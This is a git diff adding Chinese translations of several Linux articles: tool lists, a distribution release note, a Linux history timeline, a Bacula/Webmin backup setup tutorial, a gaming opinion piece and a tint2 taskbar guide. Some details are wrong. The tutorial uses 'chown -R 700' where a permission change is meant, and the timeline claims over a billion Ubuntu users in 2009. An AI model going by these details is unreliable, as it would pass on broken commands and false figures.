+![](http://i1-news.softpedia-static.com/images/news2/Xperience-UI-Concept-Could-Be-the-Most-Beautiful-Linux-Desktop-430087-9.jpg) + +主面板 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Xperience-UI-Concept-Could-Be-the-Most-Beautiful-Linux-Desktop-430087.shtml + +译者:[VizV](https://github.com/vizv) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201406/10 Database Tools For Linux Users To Use!.md b/published/201406/10 Database Tools For Linux Users To Use!.md new file mode 100644 index 0000000000..0afc6794bf --- /dev/null +++ b/published/201406/10 Database Tools For Linux Users To Use!.md @@ -0,0 +1,54 @@ +10款适合Linux用户使用的数据库管理工具! +================================================================================ +从内容管理系统到简单的表格,数据库是每一个开发项目的一部分。这就是为什么开发者们如此强调使用正确类型的数据库工具。下面这些可能对您有所帮助! + +![](http://www.efytimes.com/admin/useradmin/photo/LuMX31155AM5132014.jpeg) + +#### 1. [Autotabla][1] #### + +Autotabla是一个你的程序的SQL数据表的CGI管理界面。只需要提供你数据库架构的XML描述,你就可以创建/修改/删除数据库记录。 HTML输出可以通过CSS完全自定义。使用Perl/DBI模块而支持各种数据库。 + +#### 2. [Cruddy!][2] #### + +Cruddy!是一个以CGI::CRUD为框架的应用程序,它为你的数据库提供了一个即时的Web前端的CRUD接口。 + +#### 3. [myPhile][3] #### + +这是一个可定制的MySQL表的通用管理界面。 + +#### 4. [NG-Admin][4] #### + +这是一个数据库内容的管理工具。 + +#### 5. [phpMoAdmin][5] #### + +这是一个PHP写的MongoDB管理工具。 + +#### 6. [phpMSAdmin][6] #### + +phpMSAdmin是用PHP编写的工具,它允许您通过Web浏览器管理一个微软的SQL Server ,而不需要Windows或专有的企业管理器。它允许你创建/修改:数据库,表,视图,触发器等 + +#### 7. [RockMongo][7] #### + +RockMongo,一个MongoDB的管理工具,在PHP5中实现,类似phpMyAdmin。 + +#### 8. [WizMySQLAdmin][8] #### + +WizMySQLAdmin类似最有名的MySQL数据库管理器phpMyAdmin,但它非常易于安装和维护。它只由一个文件组成,并支持多种数据库和表的创建和处理。 + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=138307 + +译者:[乌龙茶](https://github.com/yechuxiao19) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://sourceforge.net/projects/autotabla/ +[2]:http://www.thesmbexchange.com/cruddy/ +[3]:http://efytimes.com/e1/companionway.net +[4]:http://www.ng-marketing.com/wuerzburg/ +[5]:http://phpmoadmin.com/ +[6]:http://sourceforge.net/projects/phpmsadmin/ +[7]:http://rockmongo.com/ +[8]:http://sourceforge.net/projects/wizmysqadmin/ diff --git a/published/201406/10 Linux Platforms Meant For Embedded Systems.md b/published/201406/10 Linux Platforms Meant For Embedded Systems.md new file mode 100644 index 0000000000..329345b9d4 --- /dev/null +++ b/published/201406/10 Linux Platforms Meant For Embedded Systems.md @@ -0,0 +1,67 @@ +10款专为嵌入式系统打造的Linux平台 +========================================== + +Linux 有着广泛的用途。该平台用于很多家庭的简单使用,同时它也深受程序员和黑客们的青睐。此外,Linux 还广泛地应用在嵌入式系统中,有一系列专门适用于此类系统的发行版。我们将为大家推荐十个非常优秀的专为嵌入式系统发行的linux版本! + + +![] (http://www.efytimes.com/admin/useradmin/photo/UJVP24130PM532014.jpeg) + + +### 1.[Ampro 嵌入式 Linux][1] ### + +这是一个自由和开放源代码的从Ubuntu精简来的轻量级操作系统。 + +### 2. [BlueCat Linux from Lynx][2] ### + +这个基于 Linux 的发行版是Lynx套件的一部分,并为嵌入式系统打造。 + +### 3. [CacheGuard OS][3] ### + +CacheGuard OS 是一个从零开始建立的集成了安全解决方案的基于Linux的版本,专门为网络管理设计的。 + +### 4. [Darma NAS OS][4] ### + +这个发行版有一个基于 SSL 的加密客户端的服务器和基于 Java 的图形用户界面。 + +### 5. [DIET-PC][5] ### + +这是开源的瘦客户端软件 kitset,它允许用户建立网络应用。 + +### 6. [ELinOS][6] ### + +这个发行版为在嵌入式系统上工作的用户提供大量的技术。它是一个相当受欢迎的嵌入式 Linux 平台。 + +### 7. [eLux][7] ### + +这个发行版有一个非常简单和容易使用的界面,适用于用户和管理员都不具有任何有关 Linux 的知识的特殊情况下。 + +### 8. [eLux NG][8] ### + +这个发行版为支持 eLux 的处理器列表中添加了新的型号。 + +### 9. [Embedded Coyote Linux][9] ### + +这种基于 Coyote Linux的防火墙和 VPN 服务器一直为很多人选择的平台。 + +### 10. [嵌入式 Debian 项目][10] ### + +这个项目的目的是使 Debian GNU/Linux 成为嵌入式系统的第一选择。 + +-------------------------------------------------------------------------------- + +via: http://www.efytimes.com/e1/fullnews.asp?edid=137612 + +译者:[owen-carter](https://github.com/owen-carter) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.ampro.com/company/News/04_08_08_Ampro_Reveals_Ubuntu_Embedded_Linux.htm +[2]:http://www.lynuxworks.com/embedded-linux/embedded-linux-virtualization.php +[3]:http://www.cacheguard.com/cacheguard-os.html +[4]:http://nas.darma.com/ +[5]:http://www.dietpc.org/ +[6]:http://www.sysgo.com/products/elinos-embedded-linux/ +[7]:http://www.myelux.com/index.htm?Unicon_Session=32bf53f198c94ba2ac2ce1ea45211754 +[8]:http://www.myelux.com/eluxng.htm +[9]:http://www.myelux.com/eluxng.htm +[10]:http://www.emdebian.org/ diff --git a/published/201406/20140527 4MLinux 9.0 Beta Is a 55 MB Operating System That Has It All.md b/published/201406/20140527 4MLinux 9.0 Beta Is a 55 MB Operating System That Has It All.md new file mode 100644 index 0000000000..4b8c2b6e03 --- /dev/null +++ b/published/201406/20140527 4MLinux 9.0 Beta Is a 55 MB Operating System That Has It All.md @@ -0,0 +1,42 @@ +麻雀虽小五脏俱全,4MLinux现在才仅55MB +================================================================================ +![](http://i1-news.softpedia-static.com/images/news2/4MLinux-9-0-Beta-Is-a-55-MB-Operating-System-that-Has-It-All-443946-2.jpg) + +**4MLinux是一个已经发展到版本9.0 Beta版的小型Linux发行版,专注于计算机的4MS,即维护(用于系统救援的Live CD)、多媒体(像是播放DVD)、迷你服务器(使用inetd守护进程)和Mystery (Linux小游戏)。** + +4MLinux是世界上最小的,能够为用户提供一个桌面环境和一些应用,可以日常应用的发行版。 + +大多数mini版本的Linux发行版通常从一开始就不提供这样的大量的应用程序,特别是在只有55MB大小的情况下。 + +“这个版本的亮点是维护(MBR和GPT分区软件,4MLinux备份脚本9.0,ClamAV0.98.3)、多媒体(MPlayer SVN-r37146,FFmpeg Git-2014-04-10),迷你服务器(FTP,HTTP,SSH,SFTP)和Mystery(一组小游戏)。“ + +开发者在博客里说:“4MLinux的X Window基于X.Org Server 1.15.1、Mesa 10.1.3,、JWM 2.2.2 和 FOX toolkit 1.6.49。4MLinux还支持全自动安装的'vanilla'版本的LibreOffice4.2.4、Java RE 7u55和VirtualBox 4.3.12。ISO映像的大小约为55 MB” + +正如你所看到的,大部分提供的包都是很新的,如VirtualBox、LibreOffice、Mesa、ffmpeg、ClamAV等等。如果你有关于这个版本不太有信心,可以随时用虚拟机尝试它。 + +有趣的是用户可以在X Server 启动前切入启动进程并使用命令行,这是一个不错的做法。 + +开发者在完成了主要的更新后将开始发布所有的其它分支版本,比如完整版、游戏版、服务器版、媒体版、救援版等等。请记住,你可以从一个非常简单的软件的帮助下,从主面板选择并安装这些Linux分支版。 + +用户还会发现,大部分你所需要的应用程序都可以在仓库找到,而4MLinux发行版可以通过下载相应的软件包来执行上面的任务。 + +完整的更新说明可在官方找到 [说明][1]. + +### 下载4MLinux 9.0 Beta: ### + +- [4MLinux 8.2 (ISO)][2][iso] [53.90 MB] +- [4MLinux 9.0 Beta (ISO)][3][iso] [53 MB] + +请记住,目前9.0还是一个开发版,它不应该在生产机器上安装。它的目的仅用于测试目的。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/4MLinux-9-0-Beta-Is-a-55-MB-Operating-System-that-Has-It-All-443946.shtml + +译者:[2q1w2007](https://github.com/2q1w2007) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://4mlinux-releases.blogspot.ro/2014/05/4mlinux-90-beta-released.html +[2]:http://sourceforge.net/projects/linux4m/files/8.0/updates/8.2/livecd/4MLinux-8.2.iso/download +[3]:http://sourceforge.net/projects/linux4m/files/9.0/livecd/4MLinux-9.0.iso/download diff --git a/published/201406/20140527 A Complete Historical Timeline of Linux Evolution.md b/published/201406/20140527 A Complete Historical Timeline of Linux Evolution.md new file mode 100644 index 0000000000..82d06ca45a --- /dev/null +++ b/published/201406/20140527 A Complete Historical Timeline of Linux Evolution.md @@ -0,0 +1,138 @@ +Linux发展编年表 +================================================================================ +![](http://www.linuxfederation.com/wp-content/uploads/2014/05/linux-evolution.jpg) + +[我们周围到处都有Linux的身影][0],在家中、公司里、大学、实验室,太空空间站。但是过去它不像现在一样是计算机发展的中坚力量,它只是开始于一个芬兰大学生的个人爱好。现在的Linux已经从一个个人爱好发展成了一场计算机革命。在这篇文章里,我们向你展示最完整的Linux 23年来发展的历史年表。 + +### 1991 ### + +**8月25号** : 21岁的芬兰学生Linus Benedict Torvalds 在comp.os.minix 新闻组上宣布了它正在编写一个免费的操作系统。 + +**9月1号** : Linux 0.01在网上发布。 + +### 1992 ### + +**1月5号** : Linux [v0.12 release][1] 版本的内核重新以GUN GPL的协议发布。原来的许可证是禁止任何商业用途的。通过这次协议变更,发布和出售修改或未修改版的Linux成为了可能,只要你将这些复制版本以相同的GPL许可证发布,并且有相对应完整的源代码。在后来的一次[采访][2]中,Linus对这次许可证的更改说了这样一句话(让Linux遵守GPL绝对是我干过的最正确的事): + + " Making Linux GPL'd was definitely the best thing I ever did." + +**1月29号** : Andrew S. Tanenbaum向comp.os.minix邮件列表发送了一封名为[LINUX is obsolete][3]的邮件。总的来说,这次被一些人升级为“战火”的争论是关于Linux和内核架构的。Tanenbaum争辩说微内核比宏内核更加高级,所以Linux是过时的。 + +**4月5号** : 第一个Linux新闻组,comp.os.linux由Ari Lemmke提议和开通。 + +**5月21号** : Peter MacDonald 发布第一个独立的Linux安装包SLS。可以通过软盘安装,包括比较前沿的TCP-IP网络支持和X Window系统。建议至少预留10M的磁盘空间来安装。 + +### 1993 ### + +**6月17号** : Slackware Linux由Patrick Volkerding发布。[Slackware][4]被认为是第一个取得广泛成功的Linux发行版,而且它现在还在使用。 + +**8月16号** : Ian Murdock(Debian中的'ian')发布了第一个Debian Linux的发行版。Debian是最有影响力的Linux发行版之一,是MEPIS,Mint,Ubuntu和很多其它发行版的鼻祖。 + +**8月19号** : Matt Welsh写的《Linux Installation and Getting Started》第1版出版,这是第一本关于Linux的书籍。 + +### 1994 ### + +**3月14号** : [Linux内核V1.0][5]发布。它支持基于i386单处理器的计算机系统。这3年来,内核代码库已经增长到了176,250行。 + +**3月26号** : 第一期《Linux Journal》杂志发行。这一期杂志的特点是发表了一篇对Linus Torvalds的采访和一些Phil Hughes, Robert “Bob” Young, Michael K. Johnson, Arnold Robbins, Matt Welsh, Ian A写的文章。 + +**8月15号** : Willian R. Della Croce, Jr. 申请了“Linux”商标,9月进行了注册。Della Croce在不知道Linux社区财政窘迫的前提下,向煊赫的“Linux公司”写了一封信,要求他们为“Linux”商标使用支付费用。直到1997年,这次风波以将商标转让给代表所有请愿者和Linux使用者的Linus Torvalds而告终。 + +**11月3号** : Red Hat的共同创始人Marc Ewing宣布可以以49.95美元的零售价格获得Red Hat Software Linux的CD-ROM和30天的安装支持。2012年Red Hat成为[第一家市值达10亿美元的开源公司][6]。 + +### 1995 ### + +**4月4号** : 开展了第一个专门针对Linux的贸易展和会议系列,名字叫Linux Expo。这成为接下来几年中,最流行和备受关注的年度Linux盛会。贸易展和会议的入场券价格是4美元。3年后,Red Hat接管了组织工作,同时也是主要的赞助商。 + +### 1996 ### + +**5月9号** : 最初由Alan Cox提议,之后又经Linus Torvalds改良,Larry Ewing在1996年创造了现在看到的这只叫做Tux的吉祥物。选定企鹅作为Linux吉祥物的主意来自Linus Torvalds,他说自己被一只企鹅轻轻地咬了一口之后就具有了企鹅的特征。(这是要变成企鹅侠吗?估计是原作者调皮了?--译注) + +**6月9号** : [Linux内核V2.0][7]发布。相比更早的版本这是一次意义重大的提升,这是第一个在单系统中支持多处理器的稳定内核版本,也支持更多的处理器类型。Linux从此以后成了很多公司一个郑重选择的对象。你可以阅读1996年8月在Linux Journal上发布的[回顾Linux V2.0][8]来了解更多相关的提升。 + +**10月14号** : 1996年Mattias Ettrich发起了KDE项目,因为他深受Unix桌面系统下应用程序的不一致之苦。(在此之前Unix和Linux都没有一个统一的桌面系统,编写桌面软件非常复杂--译注) + +### 1997 ### + +**1月9号** : 第一个“Linux病毒”Bliss被发现了。Bliss不危害系统的安全,它依赖于人们用特权干蠢事来感染系统,然后提醒用户只安装从可靠站点下载的可以验证数字签名的软件,并且安装之前一定要先验证签名(很多地方把这个算作第2个Linux病毒,因为之前还有一个更加“绿色”的病毒--译注)。 +“事实上,在Linux上写一个病毒可能会更加的简单,因为Linux是开源的,所有的源代码都是可以获取的。所以,随着Linux变得更加通用和流行的时候,我们将看到更多的Linux病毒。”--来自McAfee的畅想。 + +### 1998 ### + +**5月1号** : Google搜索引擎面世。它不仅仅是世界上最好的搜索引擎之一,更是基于Linux的,它的特征是有一个Linux的搜索页面。 + +**12月4号** : 一份来自IDC的报告称1998年Linux的出货量至少上升了200%,市场占有率上升至少150%。Linux的市场占有率为17%,并且以其它任何操作系统无法企及的速度增长着。 + +### 1999 ### + +**2月9号** : Linux和BSD使用者们发起了“Windows退款日”。他们联合起来造访了微软公司,希望退还他们在买电脑时绑定购买Windows许可证的钱,这些许可证他们从来没有用过。 + +**3月3号** : 另一个颇具影响力的桌面系统进入了Linux的世界,就是[GNOME桌面系统][9]。在很多主要的Linux发行版比如Debian,Fedora,RedHad Enterprise Linux和SUSE Linux Enterprise Desktop中,GNOME是默认的桌面环境。 + +### 2000 ### + +**2月4号** : 最新的IDC报告表明Linux现在排在“最受欢迎的服务器操作系统的第2位”,1999年服务器系统销售量占总量的25%。Windows NT以38%位列第1,NetWare以19%排在第3位。 + +**3月11号** : 摩托罗拉公司宣布发行HA Linux。这个发行版专注于通信应用领域,对系统不关机连续运行时间要求非常高。它还包括了热交换能力和支持i386和PowerPC架构。 + +**3月23号** : 爱立信公布了“Screen Phone HS210”,这是一款基于Linux的触屏手机,具备邮件和网页浏览等功能。爱立信和Opera Software公司同时宣布这款手机将会安装Opera的网页浏览器。 + +**10月30号** : 第一个Linux live发行版由Linux咨询顾问Klaus Knopper发布,名字叫做Knoppix。 + +### 2001 ### + +**1月3号** : 美国NAS(美国国家安全局)以GPL许可证发布了SELinux。SELinux提供了标准Unix权限管理系统以外的另一层安全检查。 + +### 2003 ### + +**3月6号** : SCO Group公司宣布他们正在发起对IBM高达10亿美元的诉讼,他们声称IBM把SCO的商业机密整合到了Linux中。之后SCO公司发起了一系列的法律诉讼案,这威胁到了很多计算机行业的巨头包括惠普,微软,Novell,Silicon Graphics,Sun Microsystems和RedHat。这次案件在Novell公司的支持下于2010年3月30号判决完毕。(著名的SCO-Linux争议,SCO声称拥有System V的部分源码所有权,IBM将这部分源码整合到Linux中侵犯了SCO著作权。最后联邦法院裁定Novell才是Unix商标的合法拥有者。--译注) + +### 2004 ### + +**10月20号** : [Ubuntu][10]以一个不同寻常的版本号4.10和怪异的版本代号“Warty Warthog”(长满疙瘩的非洲疣猪)进入大家的生活。用这个版本号是因为发布日期是2004年10月。Ubuntu的开发由Cannonical Ltd公司主导,公司的创始人是Mark Shuttleworth(就是那个不到30岁的亿万富翁,钱多的不知道怎么花,只能烧钱上太空的游一圈的人--译注)。Ubuntu虽然不是内核的主要贡献者,然而对于Linux的台式机和笔记本电脑的普及,Ubuntu扮演着一个重要的角色。 + +### 2007 ### + +**6月6号** : 华硕在2007的台北电脑展上展出了两款“易PC”(Eee PC):701和1001。第1批易PC预装的是Xandros Linux,这是一个基于Debian,轻量级的为适应小屏幕进行过优化的Linux发行版。 + +**8月8号** : 2007年Linux基金会由[开源发展实验室(OSDL)][11]和[自由标准组织(FSG)][12]联合成立。这个基金会目的是赞助Linux创始人Linus的工作。基金会得到了主要的Linux和开源公司,包括富士通,HP,IBM,Intel,NEC,Oracle,Qualcomm,三星和来自世界各地的开发者的支持。 + +**11月5号** : 与之前大家推测的发布Gphone不同,[Google宣布][13]组建开放手机联盟(Open Handset Alliance)和发布[Android][14],它被称为“第一个真正开放的综合移动设备平台”。 + +### 2009 ### + +**1月29号** : 2009年1月纽约时报称“现在预计有超过10亿人在运行Ubuntu系统”。 + +### 2011 ### + +**5月11号** : 2011年Google I/O大会发布了Chrombook。这是一款运行着所谓云操作系统Chrome OS的笔记本。Chome OS是基于Linux内核的。 + +**6月21号** : Linus Torvalds 发布了Linux3.0版本。 + +### 2013 ### + +**12月13号** : Valve公司发布基于Linux的SteamOS操作系统,这是一个视频游戏控制台系统。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxfederation.com/complete-historical-timeline-linux-evolution/ + +译者:[love\\_daisy\\_love](https://github.com/CNprober) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[0]:http://linux.cn/article-2480-1.html +[1]:https://www.kernel.org/pub/linux/kernel/Historic/old-versions/RELNOTES-0.12 +[2]:http://j.mp/fs-pragmatist +[3]:https://en.wikipedia.org/wiki/Tanenbaum%E2%80%93Torvalds_debate +[4]:http://www.slackware.com/ +[5]:https://www.kernel.org/pub/linux/kernel/v1.0/ +[6]:http://www.informationweek.com/software/operating-systems/red-hat-first-$1-billion-open-source-company/d/d-id/1103616 +[7]:https://www.kernel.org/pub/linux/kernel/v2.0/ +[8]:http://www.linuxjournal.com/article/1311 +[9]:http://www.gnome.org/ +[10]:http://www.ubuntu.com/ +[11]:https://en.wikipedia.org/wiki/Open_Source_Development_Labs +[12]:https://en.wikipedia.org/wiki/Free_Standards_Group +[13]:http://googleblog.blogspot.com/2007/11/wheres-my-gphone.html +[14]:http://www.android.com/ diff --git a/published/201406/20140528 Setup Backup Server Using Bacula And Webmin On Ubuntu 14.04.md b/published/201406/20140528 Setup Backup Server Using Bacula And Webmin On Ubuntu 14.04.md new file mode 100644 index 0000000000..1f5b87207a --- /dev/null +++ b/published/201406/20140528 Setup Backup Server Using Bacula And Webmin On Ubuntu 14.04.md @@ -0,0 +1,189 @@ +在Ubuntu 14.04 上使用Bacula和Webmin设置备份服务器 +================================================================================ +**Bacula**是一个开源网络备份解决方案,允许你在本地或者远程计算机组上备份或者还原数据。配置与安装很容易,并支持许多高级存储管理特性。 + +本教程中,让我们来学习一下如何在Ubuntu 14.04服务器上安装和配置Bacula。我的机器的IP是**192.168.1.250/24**,主机名是**server.unixmen.local**。现在让我们进入教程吧。 + +### 安装 Bacula ### + +Bacula使用SQL数据库管理它的信息。我们可以使用MySQL或者PostgreSQL数据库。本篇教程中,我使用MySQL。 + +输入下面的命令安装MySQL服务器。 + + sudo apt-get update + sudo apt-get upgrade + sudo apt-get install mysql-server + +在安装MySQL的过程中,可能提示需要输入数据库管理员密码。输入密码后按下OK。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/sk@server-_0012.png) + +重新输入密码: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/sk@server-_0021.png) + +现在使用下面的命令安装bacula: + + sudo apt-get install bacula-server bacula-client + +Bacula默认使用Postfix MTA。安装过程中,你会被要求配置Postfix。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/sk@server-_0031.png) + +选择Internet站点并点击OK。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/sk@server-_0041.png) + +输入服务器完整域名(FQDN): + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/sk@server-_0051.png) + +现在输入yes用dbconfig-common来配置Bacula数据库。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/sk@server-_006.png) + +输入MySQL数据库管理员密码: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/sk@server-_0071.png) + +设置数据库的bacula-director-mysql用户的密码。如果留空不输入,会生成一个随机密码。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/sk@server-_0081.png) + +重新输入密码: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/sk@server-_0091.png) + +### 创建备份与还原目录 ### + +现在,让我们创建备份与还原目录。 + + sudo mkdir -p /mybackup/backup /mybackup/restore + +设置上面目录的权限与所属用户/组: + + sudo chown -R bacula:bacula /mybackup/ + sudo chown -R 700 /mybackup/ + +### 配置 Bacula ### + +Bacula有很多配置文件需要我们配置。 + +**更新 Bacula Director 配置:** + + sudo vi /etc/bacula/bacula-dir.conf + +找到下面的字段,并更新还原路径。本篇中,** /mybackup/restore**是我的还原位置。 + + [...] + Job { + Name = "RestoreFiles" + Type = Restore + Client=server-fd + FileSet="Full Set" + Storage = File + Pool = Default + Messages = Standard + Where = /mybackup/restore + } + [...] + +滚动到“list of files to be backed up”字段,并设置备份的目录。本篇教程中,我希望备份“**/home/sk**”目录。所以我把这个目录包含进了“File”参数中。 + + [...] + + # By default this is defined to point to the Bacula binary + # directory to give a reasonable FileSet to backup to + # disk storage during initial testing. + # + File = /home/sk + } + [...] + +继续向下滚动,找到**Exclude** 字段,设置排除在备份目录外的目录列表。这里,我排除了目录**/mybackup**。 + + [...] + + # If you backup the root directory, the following two excluded + # files can be useful + # + Exclude { + File = /var/lib/bacula + File = /nonexistant/path/to/file/archive/dir + File = /proc + File = /tmp + File = /.journal + File = /.fsck + File = /mybackup + } + } + [...] + +保存并关闭文件。 + +**更新 Bacula 存储守护进程设置:** + +编辑 **/etc/bacula/bacula-sd.conf**, + + sudo vi /etc/bacula/bacula-sd.conf + +设置备份目录位置,也就是本篇中的**/mybackup/backup**。 + + [...] + + Device { + Name = FileStorage + Media Type = File + Archive Device = /mybackup/backup + LabelMedia = yes; # lets Bacula label unlabeled media + Random Access = Yes; + AutomaticMount = yes; # when device opened, read it + RemovableMedia = no; + AlwaysOpen = no; + } + [...] + +现在如下检查是否所有的配置是有效的。如果下面的命令没有显示,那么配置就是有效的。 + + sudo bacula-dir -tc /etc/bacula/bacula-dir.conf + sudo bacula-sd -tc /etc/bacula/bacula-sd.conf + +一旦你完成所有的设置,重启所有的bacula服务。 + + sudo /etc/init.d/bacula-director restart + sudo /etc/init.d/bacula-fd restart + sudo /etc/init.d/bacula-sd restart + +就是这样。现在,bacula已经成功安装与配置了。 + +### 使用Webmin 管理 Bacula ### + +使用命令行管理Bacula是有点困难的。所以我们使用一个图形化的管理工具“webmin”来简化我们的任务。 + +使用下面的命令在Ubuntu 14.04上安装Webmin。 + +- [在 Ubuntu 14.04 LTS上安装Webmin][1] + +现在使用URL https://ip-address:10000进入Webmin界面。在左边的窗格中进入系统标签并点击模块配置链接。如果在系统下没有找到它,在未使用模块一栏中查找。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/Webmin-1.690-on-server.unixmen.local-Ubuntu-Linux-14.04-Mozilla-Firefox_002.png) + +在数据库一栏中选择MySQL数据库。输入MySQL管理员密码,并点击保存。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/Webmin-1.690-on-server.unixmen.local-Ubuntu-Linux-14.04-Mozilla-Firefox_003.png) + +就是这样。现在你可以在webmin中简单地配置Bacula了。开始加入备份客户端,磁盘卷和计划任务吧。 + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/05/Webmin-1.690-on-server.unixmen.local-Ubuntu-Linux-14.04-Mozilla-Firefox_004.png) + +干杯! + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/setup-backup-server-using-bacula-webmin-ubuntu-14-04/ + +译者:[geekpi](https://github.com/geekpi) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://linux.cn/article-3113-1.html diff --git a/published/201406/20140528 Why We Shouldn't Accept Bad Linux Ports.md b/published/201406/20140528 Why We Shouldn't Accept Bad Linux Ports.md new file mode 100644 index 0000000000..cefc707f1e --- /dev/null +++ b/published/201406/20140528 Why We Shouldn't Accept Bad Linux Ports.md @@ -0,0 +1,33 @@ +为什么我们不应该接受低劣的Linux移植游戏 +================================================================================ +由于最近The Witcher 2的惨败,我想写下些想法,为什么我们不应该接受来自开发人员的品质低劣的移植游戏。 + +最近几年在我们的Linux游戏库里面有如此多游戏,以至于你现在可以看到来自Linux玩家的评论“我们已经有很多游戏了!”可能这些声音来自很多像你一样的人。感谢Valve 和 Steam,之前我们从来没有得到过这么多的开发者的关注。 + +同样由于开发者的推进,我们看见了伴随而来的各种移植游戏,坦率地说,它们的质量十分的低劣,或者说对于大多数人们来说根本不值得去看一眼。 + +现在的问题就是,如果我们继续接受这种低水平质量的移植,Linux就会赢得一个游戏质量水平低的名声。请认真考虑一下这样的后果吧! + +再想象一下,如果那些AAA级的开发者给Linux推送了大量游戏,其中使用了The Witcher2 移植所用的“eON”技术。看起来就像我们有了大量开发者,突然之间Linux有很多大牌游戏了。然后你可以看见大量的人尝试Linux,却发现它们的游戏在同等硬件之下却有着糟糕的画面,就会给他们一个印象,Linux对游戏不友好。这对我们所有人都很糟糕。 + +我已经看见许多人说“这个工具包用于移植没关系?”。这在我的眼里看来是一个非常天真的想法。当然,这有关系, 它意味Linux的游戏里面的光线和白天的不同品质。这就直接追溯到我上面关于Linux游戏的观点上了。 + +你可以坚持说工具包没有关系,而且使用任何一个你想用的比较/类比的效果,但如果工具包是导致问题的根源,就像我们说的计算机占用了99%的处理能力的软件一样,是的,它当然有关系! + +如今,我已经看见许多来自其他主流网站发表的评论,“我们应该接受它们并且作感谢状,我们毕竟拥有了它们”。那些都是鼠目寸光的人们说的胡话! + +![](http://www.gamingonlinux.com/uploads/articles/article_images/1401025331gol2.jpg) + +想想,那些开发者和发行商看到那些低劣的Linux移植游戏也能被接受时,他们的脑里只有钱。消费者对Linux游戏的感知就会进一步恶化,就是因为这些低劣的移植品。 + +我可以接受这些来自开发者的移植,毕竟是我运营着这个网站( http://www.gamingonlinux.com/ )。但是,如果我作为一个消费者不愿意为在windows运行挺好的游戏买单,而却为在Linux慢得像蜗牛一样的游戏买单?我会么?你会么? + +最后附加的一点:你绝不应该攻击一个试图在社区里面解决问题的开发者,这样是不可以的。反馈是很好,骂人却是很幼稚的,这会使得Linux看起来更糟。 + +-------------------------------------------------------------------------------- + +via: http://www.gamingonlinux.com/articles/why-we-shouldnt-accept-bad-linux-ports.3765 + +译者:[Vic020](http://www.vicyu.net) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201406/20140529 Add Windows Like Bottom Taskbar In Ubuntu Unity 14.04.md b/published/201406/20140529 Add Windows Like Bottom Taskbar In Ubuntu Unity 14.04.md new file mode 100644 index 0000000000..da0a9fde79 --- /dev/null +++ b/published/201406/20140529 Add Windows Like Bottom Taskbar In Ubuntu Unity 14.04.md @@ -0,0 +1,39 @@ +在Ubuntu Unity 14.04中添加Windows风格的底部任务栏 +================================================================================ +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/05/Windows_Taskbar_ubuntu.jpeg) + +一些从Windows转到Ubuntu的新用户可能发现,在Ubuntu下默认的Unity界面占据了一切。大多数Windows用户,也包括一些非Gnome 3用户和一些非Unity Linux用户也许在Ubuntu中看不到底部任务栏。我们都知道,[Unity中的拖放操作][1]对用户不是很友好。 + +不管出于什么原因,如果你在Ubuntu中想要个底部面板,那么[tint][2]就是你的菜。 + +### 在Ubuntu 14.04中添加底部任务栏 ### + +打开终端(Ctrl+Alt+T),然后输入下面的命令: + + sudo apt-get install tint2 + +这样就把tint2安装好了。你可以在终端中输入tint2来运行它了,但这不是我们希望的方式,因为我们的并不想这么麻烦每次手工运行它。在此,我们需要让tint2来开机启动,这样每次启动Ubuntu的时候,它都会在桌面底部恭候你了。 + +#### 怎样让tint2开机启动? #### + +打开Unity Dash(按下Windows键吧),然后搜索启动程序。 + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/01/Startup_Applications_Ubuntu.jpeg) + +打开**启动程序**,在那儿猛戳**添加**按钮,你就可以添加一个新的开机启动程序了。你可以给它起个好认的名字,那命令那栏输入**tint2**,然后猛戳**添加**,然后继续猛戳**关闭**来保存。如果我说得不够清楚,还是看看下面的图片吧,它应该很直观了: + +![](http://itsfoss.itsfoss.netdna-cdn.com/wp-content/uploads/2014/05/Windows_Like_Taskbar_Ubuntu.jpeg) + +好了。赶快注销并重新登录进去看看吧,任务栏会乖乖地在下面等着你了。题图看到了吗?就是那个样子的。像[Conky][3]一样,tint2也能有大量的配置选项,但要进行深度配置,你得修改配置文件了。不过就算你很懒惰,安好了啥都不做,那它也会干得很好了。你已经试过了?你感觉tint2怎么样呢? + +-------------------------------------------------------------------------------- + +via: http://itsfoss.com/add-windows-like-bottom-taskbar-in-ubuntu-unity-14-04/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[wxy](https://github.com/wxy) + 